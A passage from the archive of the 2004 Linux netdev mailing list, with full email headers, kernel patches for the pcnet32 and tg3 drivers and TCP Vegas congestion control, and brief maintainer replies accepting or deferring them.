westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i28JhQrj442302; Mon, 8 Mar 2004 14:43:26 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i28JhPKr136202; Mon, 8 Mar 2004 12:43:26 -0700 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i28Jga910632; Mon, 8 Mar 2004 11:42:36 -0800 From: Don Fry Message-Id: <200403081942.i28Jga910632@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2.6.4-rc2-bk4 1/2] pcnet32 transmit hang fix To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Mon, 8 Mar 2004 11:42:36 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3854 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 1029 Lines: 29 Please apply the following patch to 2.6.4-rc2-bk4. The pcnet32 driver will hang after a few frames (<30) with the 79C971 (and probably the 79C972 though I don't have the hardware to prove it). By interrupting slightly more frequently the hang will not occur. This patch is already included in 2.4.26-pre2. --- orig.linux-2.6.4-rc2-bk4/drivers/net/pcnet32.c Mon Mar 8 10:02:25 2004 +++ linux-2.6.4-rc2-bk4/drivers/net/pcnet32.c Mon Mar 8 10:24:43 2004 @@ -1452,11 +1452,12 @@ status = 0x8300; entry = (lp->cur_tx - lp->dirty_tx) & TX_RING_MOD_MASK; if ((lp->ltint) && - ((entry == TX_RING_SIZE/2) || + ((entry == TX_RING_SIZE/3) || + (entry == (TX_RING_SIZE*2)/3) || (entry >= TX_RING_SIZE-2))) { /* Enable Successful-TxDone interrupt if we have - * 1/2 of, or nearly all of, our ring buffer Tx'd + * 1/3, 2/3 or nearly all of, our ring buffer Tx'd * but not yet cleaned up. Thus, most of the time, * we will not enable Successful-TxDone interrupts. */ -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Mon Mar 8 11:47:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 11:47:58 -0800 (PST) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i28JlsKO031418 for ; Mon, 8 Mar 2004 11:47:55 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e1.ny.us.ibm.com (8.12.10/NS PXFA) with ESMTP id i28JliZ2261718; Mon, 8 Mar 2004 14:47:44 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i28JlsdB097392; Mon, 8 Mar 2004 14:47:55 -0500 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i28Jkrb10646; Mon, 8 Mar 2004 11:46:53 -0800 From: Don Fry Message-Id: <200403081946.i28Jkrb10646@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2.6.4-rc2-bk4 2/2] pcnet32 use netif_msg_init To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Mon, 8 Mar 2004 11:46:53 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3855 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 1492 Lines: 40 Please apply this patch to 2.6.4-rc2-bk4 after the patch to add the netif_msg_init helper to netdevice.h (sent Friday 3/5/04 [PATCH 2.4.26-pre2] netdevice.h: add netif_msg_init helper) This patch uses the netif_msg_init routine to initialize the debug message level for the pcnet32 driver. Tested IA32. --- linux-2.6.4-rc2-bk4/drivers/net/hang.pcnet32.c Mon Mar 8 11:25:32 2004 +++ linux-2.6.4-rc2-bk4/drivers/net/pcnet32.c Mon Mar 8 11:26:01 2004 @@ -225,10 +225,13 @@ * v1.27b Sep 30 2002 Kent Yoder * Added timer for cable connection state changes. * v1.28 20 Feb 2004 Don Fry - * Jon Lewis , Chinmay Albal + * Jon Mason , Chinmay Albal * Now uses ethtool_ops, netif_msg_* and generic_mii_ioctl. * Fixes bogus 'Bus master arbitration failure', pci_[un]map_single * length errors, and transmit hangs. Cleans up after errors in open. + * Jim Lewis added ethernet loopback test. + * Thomas Munck Steenholdt non-mii ioctl corrections. + * Uses netif_msg_init Don Fry. */ @@ -2013,8 +2016,7 @@ { printk(KERN_INFO "%s", version); - if (debug >= 0 && debug < (sizeof(int) - 1)) - pcnet32_debug = 1 << debug; + pcnet32_debug = netif_msg_init(debug, 0); if ((tx_start_pt >= 0) && (tx_start_pt <= 3)) tx_start = tx_start_pt; -- Don Fry brazilnut@us.ibm.com From davem@redhat.com Mon Mar 8 11:59:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 11:59:18 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i28JxFKO031942 for ; Mon, 8 Mar 2004 11:59:15 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i28Jx0ST027003; Mon, 8 Mar 2004 14:59:00 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i28Jwx803378; Mon, 8 Mar 2004 14:58:59 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i28JwoeF002516; Mon, 8 Mar 2004 14:58:50 -0500 Date: Mon, 8 Mar 2004 11:58:58 -0800 From: "David S. Miller" To: Patrick McHardy Cc: herbert@gondor.apana.org.au, netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: ip_route_me_harder -> xfrm_lookup Message-Id: <20040308115858.75cdddca.davem@redhat.com> In-Reply-To: <404C874D.4000907@trash.net> References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3856 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 906 Lines: 22 On Mon, 08 Mar 2004 15:46:37 +0100 Patrick McHardy wrote: > Herbert Xu wrote: > > The reason is that ip_route_me_harder which is called upon the exit > > of the mangle table does not set the proto field. This means that > > xfrm_lookup is never called. > > > > The following patch sets the proto field so that the packet can be > > protected by IPsec. > > I have been working on a set of patches for IPsec+Netfilter, the > latest set has been posted to netfilter-devel last week. They will > go in patch-o-matic for testing soon, but I will post them > to netdev later today, so we won't waste time testing patches > before Dave is fine with them. Regardless, and I look forward to your work, Herbert's patch is absolutely correct so I'm going to apply it for now. In fact, your work is less likely to be 2.6.4 material I imagine :) So best to get Herbert's simpler fix in for now. From davem@redhat.com Mon Mar 8 12:00:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 12:01:00 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i28K0vKO032302 for ; Mon, 8 Mar 2004 12:00:58 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i28K0rST027798; Mon, 8 Mar 2004 15:00:53 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i28K0q804010; Mon, 8 Mar 2004 15:00:52 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i28K0feF004054; Mon, 8 Mar 2004 15:00:42 -0500 Date: Mon, 8 Mar 2004 12:00:50 -0800 From: "David S. Miller" To: Wensong Zhang Cc: netdev@oss.sgi.com, horms@vergenet.net, ja@ssi.bg Subject: Re: [PATCH 2.4/2.6] IPVS: code tidy up Message-Id: <20040308120050.24babd94.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3857 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 238 Lines: 7 On Tue, 9 Mar 2004 00:37:54 +0800 (CST) Wensong Zhang wrote: > Here are the minor patches for IPVS code in the kernel 2.4 and 2.6. Please > consider to apply them respectively. I'll apply this stuff, thanks guys. From davem@redhat.com Mon Mar 8 12:04:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 12:04:55 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i28K4rKO000318 for ; Mon, 8 Mar 2004 12:04:53 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i28K4oST029083; Mon, 8 Mar 2004 15:04:50 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i28K4o805103; Mon, 8 Mar 2004 15:04:50 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i28K4feF005476; Mon, 8 Mar 2004 15:04:41 -0500 Date: Mon, 8 Mar 2004 12:04:49 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com Subject: Re: [PATCH] always set westwood rtt (trivial) Message-Id: <20040308120449.00db3983.davem@redhat.com> In-Reply-To: <20040308101726.4d08467a@dell_ss3.pdx.osdl.net> References: <20040308101726.4d08467a@dell_ss3.pdx.osdl.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3858 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 343 Lines: 10 On Mon, 8 Mar 2004 10:17:26 -0800 Stephen Hemminger wrote: > It is faster just to update the rtt even if we never use it. We save a dirty cache line in the tcp_opt structure when westwood is off. Does it really matter? Who knows... I'm so ambivalent about this that I'm just not going to apply the patch for now. :-) From davem@redhat.com Mon Mar 8 12:17:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 12:18:16 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i28KHoKO000855 for ; Mon, 8 Mar 2004 12:17:52 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i28KHnST001980; Mon, 8 Mar 2004 15:17:49 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i28KHn809156; Mon, 8 Mar 2004 15:17:49 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i28KHeeF012336; Mon, 8 Mar 2004 15:17:40 -0500 Date: Mon, 8 Mar 2004 12:17:48 -0800 From: "David S. Miller" To: David Stevens Cc: netdev@oss.sgi.com Subject: Re: [PATCH] multi-protocol MSF API sysctl limit support Message-Id: <20040308121748.687bd77f.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3859 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 393 Lines: 10 On Sat, 6 Mar 2004 02:37:56 -0700 David Stevens wrote: > This patch adds support for administrator-controlled multicast source > filter limits for the multiprotocol multicast source filter API. The v4 > portion > uses the same sysctl variable as the previous v4-only API patch, and > the v6 portion uses a new v6 sysctl variable, "mld_max_msf". Applied, thanks David. From davem@redhat.com Mon Mar 8 12:53:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 12:53:31 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i28KrRKO004597 for ; Mon, 8 Mar 2004 12:53:28 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i28KJbST002812; Mon, 8 Mar 2004 15:19:37 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i28KJb809934; Mon, 8 Mar 2004 15:19:37 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i28KJReF013766; Mon, 8 Mar 2004 15:19:27 -0500 Date: Mon, 8 Mar 2004 12:19:35 -0800 From: "David S. Miller" To: Jeff Raubitschek Cc: netdev@oss.sgi.com Subject: Re: tg3 link not detected on first interface up with mtu change Message-Id: <20040308121935.12e1bf9b.davem@redhat.com> In-Reply-To: <20040305121026.GF14914@raubitschek.org> References: <20040305121026.GF14914@raubitschek.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3860 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 3429 Lines: 132 On Fri, 5 Mar 2004 07:10:26 -0500 Jeff Raubitschek wrote: > using the tg3 (v2.8) driver on 2.4.26-pre1, with dual port NetXtreme BCM5704 (rev 03), if you configure the interfaces with the a non default mtu, link will not be detected (no gigE switch required to reproduce, 100 Mbps switch will produce the same problem) This should fix it, let me know if it doesn't. ChangeSet@1.1631, 2004-03-08 11:24:08-08:00, davem@nuts.davemloft.net [TIGON3]: Always force PHY reset after major hw config changes. diff -Nru a/drivers/net/tg3.c b/drivers/net/tg3.c --- a/drivers/net/tg3.c Mon Mar 8 11:27:01 2004 +++ b/drivers/net/tg3.c Mon Mar 8 11:27:01 2004 @@ -782,7 +782,7 @@ } } -static int tg3_setup_phy(struct tg3 *); +static int tg3_setup_phy(struct tg3 *, int); static int tg3_set_power_state(struct tg3 *tp, int state) { @@ -849,7 +849,7 @@ tp->link_config.speed = SPEED_10; tp->link_config.duplex = DUPLEX_HALF; tp->link_config.autoneg = AUTONEG_ENABLE; - tg3_setup_phy(tp); + tg3_setup_phy(tp, 0); } pci_read_config_word(tp->pdev, pm + PCI_PM_PMC, &power_caps); @@ -1212,7 +1212,7 @@ return err; } -static int tg3_setup_copper_phy(struct tg3 *tp) +static int tg3_setup_copper_phy(struct tg3 *tp, int force_reset) { int current_link_up; u32 bmsr, dummy; @@ -1245,8 +1245,10 @@ tg3_readphy(tp, MII_BMSR, &bmsr); tg3_readphy(tp, MII_BMSR, &bmsr); if (!(bmsr & BMSR_LSTATUS)) - tg3_phy_reset(tp, 1); + force_reset = 1; } + if (force_reset) + tg3_phy_reset(tp, 1); if ((tp->phy_id & PHY_ID_MASK) == PHY_ID_BCM5401) { tg3_readphy(tp, MII_BMSR, &bmsr); @@ -1775,7 +1777,7 @@ return ret; } -static int tg3_setup_fiber_phy(struct tg3 *tp) +static int tg3_setup_fiber_phy(struct tg3 *tp, int force_reset) { u32 orig_pause_cfg; u16 orig_active_speed; @@ -1980,14 +1982,14 @@ return 0; } -static int tg3_setup_phy(struct tg3 *tp) +static int tg3_setup_phy(struct tg3 *tp, int force_reset) { int err; if (tp->phy_id == PHY_ID_SERDES) { - err = tg3_setup_fiber_phy(tp); + err = tg3_setup_fiber_phy(tp, force_reset); } else { - err = tg3_setup_copper_phy(tp); + err = tg3_setup_copper_phy(tp, force_reset); } if (tp->link_config.active_speed == SPEED_1000 && @@ -2350,7 +2352,7 @@ if (sblk->status & SD_STATUS_LINK_CHG) { sblk->status = SD_STATUS_UPDATED | (sblk->status & ~SD_STATUS_LINK_CHG); - tg3_setup_phy(tp); + tg3_setup_phy(tp, 0); } } @@ -4986,7 +4988,7 @@ */ tw32_f(MAC_LOW_WMARK_MAX_RX_FRAME, 2); - err = tg3_setup_phy(tp); + err = tg3_setup_phy(tp, 1); if (err) return err; @@ -5168,7 +5170,7 @@ phy_event = 1; if (phy_event) - tg3_setup_phy(tp); + tg3_setup_phy(tp, 0); } else if (tp->tg3_flags & TG3_FLAG_POLL_SERDES) { u32 mac_stat = tr32(MAC_STATUS); int need_setup = 0; @@ -5188,7 +5190,7 @@ udelay(40); tw32_f(MAC_MODE, tp->mac_mode); udelay(40); - tg3_setup_phy(tp); + tg3_setup_phy(tp, 0); } } @@ -5869,7 +5871,7 @@ struct tg3 *tp = dev->priv; if (!(tp->tg3_flags & TG3_FLAG_INIT_COMPLETE) || - tp->link_config.phy_is_low_power) + tp->link_config.phy_is_low_power) return -EAGAIN; spin_lock_irq(&tp->lock); @@ -5885,7 +5887,7 @@ tp->link_config.duplex = cmd->duplex; } - tg3_setup_phy(tp); + tg3_setup_phy(tp, 1); spin_unlock(&tp->tx_lock); spin_unlock_irq(&tp->lock); From shemminger@osdl.org Mon Mar 8 13:04:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 13:05:04 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i28L4xKO005159 for ; Mon, 8 Mar 2004 13:04:59 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i28L4sE20046; Mon, 8 Mar 2004 13:04:54 -0800 Date: Mon, 8 Mar 2004 13:04:54 -0800 From: Stephen Hemminger To: linux-net Cc: netdev@oss.sgi.com Subject: [RFC] TCP Vegas for 2.6 Message-Id: <20040308130454.0442c04d@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3861 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 24756 Lines: 720 Here is an updated version of the TCP vegas patches for 2.6.4-rc2-bk4. TCP Vegas provides better congestion control especially over higher speed and long latency networks. There is lots of research and papers on TCP Vegas so if you are interested just do a little searching. This is a consolidation of earlier work done by Neal Cardwell; and version from David Miller; as well as the version in net100/web100 by Florence M Fowler and Tom Dunigan. It has been tested on 1G Ethernet and over a hybrid Ethernet/PPP network, but would like people with higher speed or long haul networks to give it a try as well. To enable vegas you need to: echo 1 >/proc/sys/net/ipv4/tcp_vegas_cong_avoid diff -uprN -X dontdiff linux-2.6/include/linux/sysctl.h tcp-vegas-2.6/include/linux/sysctl.h --- linux-2.6/include/linux/sysctl.h 2004-03-08 08:32:58.000000000 -0800 +++ tcp-vegas-2.6/include/linux/sysctl.h 2004-03-08 10:12:21.000000000 -0800 @@ -322,6 +322,10 @@ enum NET_IPV4_IPFRAG_SECRET_INTERVAL=94, NET_TCP_WESTWOOD=95, NET_IPV4_IGMP_MAX_MSF=96, + NET_TCP_VEGAS=97, + NET_TCP_VEGAS_ALPHA=98, + NET_TCP_VEGAS_BETA=99, + NET_TCP_VEGAS_GAMMA=100, }; enum { diff -uprN -X dontdiff linux-2.6/include/linux/tcp.h tcp-vegas-2.6/include/linux/tcp.h --- linux-2.6/include/linux/tcp.h 2004-02-05 14:44:29.000000000 -0800 +++ tcp-vegas-2.6/include/linux/tcp.h 2004-03-08 10:01:47.000000000 -0800 @@ -388,6 +388,17 @@ struct tcp_opt { __u32 rtt; __u32 rtt_min; /* minimum observed RTT */ } westwood; +/* Vegas variables */ + struct { + __u32 beg_snd_nxt; /* right edge during last RTT */ + __u32 beg_snd_una; /* left edge during last RTT */ + __u32 beg_snd_cwnd; /* saves the size of the cwnd */ + __u8 do_vegas; /* do vegas for this connection */ + __u8 doing_vegas_now;/* if true, do vegas for this RTT */ + __u16 cntRTT; /* # of RTTs measured within last RTT */ + __u32 minRTT; /* min of RTTs measured within last RTT (in usec) */ + __u32 baseRTT; /* the min of all Vegas RTT measurements seen (in usec) */ + } vegas; }; /* WARNING: don't change the layout of the members in tcp_sock! */ diff -uprN -X dontdiff linux-2.6/include/net/tcp.h tcp-vegas-2.6/include/net/tcp.h --- linux-2.6/include/net/tcp.h 2004-03-01 08:55:47.000000000 -0800 +++ tcp-vegas-2.6/include/net/tcp.h 2004-03-08 09:43:06.000000000 -0800 @@ -583,6 +583,10 @@ extern int sysctl_tcp_tw_reuse; extern int sysctl_tcp_frto; extern int sysctl_tcp_low_latency; extern int sysctl_tcp_westwood; +extern int sysctl_tcp_vegas_cong_avoid; +extern int sysctl_tcp_vegas_alpha; +extern int sysctl_tcp_vegas_beta; +extern int sysctl_tcp_vegas_gamma; extern atomic_t tcp_memory_allocated; extern atomic_t tcp_sockets_allocated; @@ -1211,6 +1215,72 @@ static inline __u32 tcp_recalc_ssthresh( return max(tp->snd_cwnd >> 1U, 2U); } +/* Stop taking Vegas samples for now. */ +#define tcp_vegas_disable(__tp) ((__tp)->vegas.doing_vegas_now = 0) + +/* Is this TCP connection using Vegas (regardless of whether it is taking + * Vegas measurements at the current time)? + */ +#define tcp_is_vegas(__tp) ((__tp)->vegas.do_vegas) + +static inline void tcp_vegas_enable(struct tcp_opt *tp) +{ + /* There are several situations when we must "re-start" Vegas: + * + * o when a connection is established + * o after an RTO + * o after fast recovery + * o when we send a packet and there is no outstanding + * unacknowledged data (restarting an idle connection) + * + * In these circumstances we cannot do a Vegas calculation at the + * end of the first RTT, because any calculation we do is using + * stale info -- both the saved cwnd and congestion feedback are + * stale. + * + * Instead we must wait until the completion of an RTT during + * which we actually receive ACKs. + */ + + /* Begin taking Vegas samples next time we send something. */ + tp->vegas.doing_vegas_now = 1; + + /* Set the beginning of the next send window. */ + tp->vegas.beg_snd_nxt = tp->snd_nxt; + + tp->vegas.cntRTT = 0; + tp->vegas.minRTT = 0x7fffffff; +} + +static inline void tcp_set_ca_state(struct tcp_opt *tp, u8 ca_state) +{ + if (tcp_is_vegas(tp)) { + if (ca_state == TCP_CA_Open) + tcp_vegas_enable(tp); + else + tcp_vegas_disable(tp); + } + tp->ca_state = ca_state; +} + +/* Should we be taking Vegas samples right now? */ +#define tcp_vegas_enabled(__tp) ((__tp)->vegas.doing_vegas_now) + +static inline void tcp_vegas_init(struct tcp_opt *tp) +{ + /* Set up a new TCP connection, depending on whether it should be + * using Vegas or not. + */ + if (sysctl_tcp_vegas_cong_avoid) { + tp->vegas.do_vegas = 1; + tp->vegas.baseRTT = 0x7fffffff; + tcp_vegas_enable(tp); + } else { + tp->vegas.do_vegas = 0; + tcp_vegas_disable(tp); + } +} + /* If cwnd > ssthresh, we may raise ssthresh to be half-way to cwnd. * The exception is rate halving phase, when cwnd is decreasing towards * ssthresh. @@ -1270,7 +1340,7 @@ static inline void tcp_enter_cwr(struct tp->prior_ssthresh = 0; if (tp->ca_state < TCP_CA_CWR) { __tcp_enter_cwr(tp); - tp->ca_state = TCP_CA_CWR; + tcp_set_ca_state(tp, TCP_CA_CWR); } } @@ -2086,4 +2156,5 @@ static inline int tcp_westwood_cwnd(stru return (cwnd != 0); } + #endif /* _TCP_H */ diff -uprN -X dontdiff linux-2.6/net/ipv4/sysctl_net_ipv4.c tcp-vegas-2.6/net/ipv4/sysctl_net_ipv4.c --- linux-2.6/net/ipv4/sysctl_net_ipv4.c 2004-03-08 08:32:59.000000000 -0800 +++ tcp-vegas-2.6/net/ipv4/sysctl_net_ipv4.c 2004-03-08 10:12:22.000000000 -0800 @@ -601,6 +601,38 @@ ctl_table ipv4_table[] = { .mode = 0644, .proc_handler = &proc_dointvec, }, + { + .ctl_name = NET_TCP_VEGAS, + .procname = "tcp_vegas_cong_avoid", + .data = &sysctl_tcp_vegas_cong_avoid, + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec, + }, + { + .ctl_name = NET_TCP_VEGAS_ALPHA, + .procname = "tcp_vegas_alpha", + .data = &sysctl_tcp_vegas_alpha, + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec, + }, + { + .ctl_name = NET_TCP_VEGAS_BETA, + .procname = "tcp_vegas_beta", + .data = &sysctl_tcp_vegas_beta, + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec, + }, + { + .ctl_name = NET_TCP_VEGAS_GAMMA, + .procname = "tcp_vegas_gamma", + .data = &sysctl_tcp_vegas_gamma, + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec, + }, { .ctl_name = 0 } }; diff -uprN -X dontdiff linux-2.6/net/ipv4/tcp.c tcp-vegas-2.6/net/ipv4/tcp.c --- linux-2.6/net/ipv4/tcp.c 2004-03-02 08:59:43.000000000 -0800 +++ tcp-vegas-2.6/net/ipv4/tcp.c 2004-03-02 13:41:22.000000000 -0800 @@ -2158,7 +2158,7 @@ int tcp_disconnect(struct sock *sk, int tp->packets_out = 0; tp->snd_ssthresh = 0x7fffffff; tp->snd_cwnd_cnt = 0; - tp->ca_state = TCP_CA_Open; + tcp_set_ca_state(tp, TCP_CA_Open); tcp_clear_retrans(tp); tcp_delack_init(tp); tp->send_head = NULL; diff -uprN -X dontdiff linux-2.6/net/ipv4/tcp_input.c tcp-vegas-2.6/net/ipv4/tcp_input.c --- linux-2.6/net/ipv4/tcp_input.c 2004-02-05 14:44:30.000000000 -0800 +++ tcp-vegas-2.6/net/ipv4/tcp_input.c 2004-03-08 12:40:41.000000000 -0800 @@ -91,6 +91,15 @@ int sysctl_tcp_rfc1337; int sysctl_tcp_max_orphans = NR_FILE; int sysctl_tcp_frto; int sysctl_tcp_westwood; +int sysctl_tcp_vegas_cong_avoid; + +/* Default values of the Vegas variables, in fixed-point representation + * with V_PARAM_SHIFT bits to the right of the binary point. + */ +#define V_PARAM_SHIFT 1 +int sysctl_tcp_vegas_alpha = 1<vegas.baseRTT) + tp->vegas.baseRTT = vrtt; + + /* Find the min RTT during the last RTT 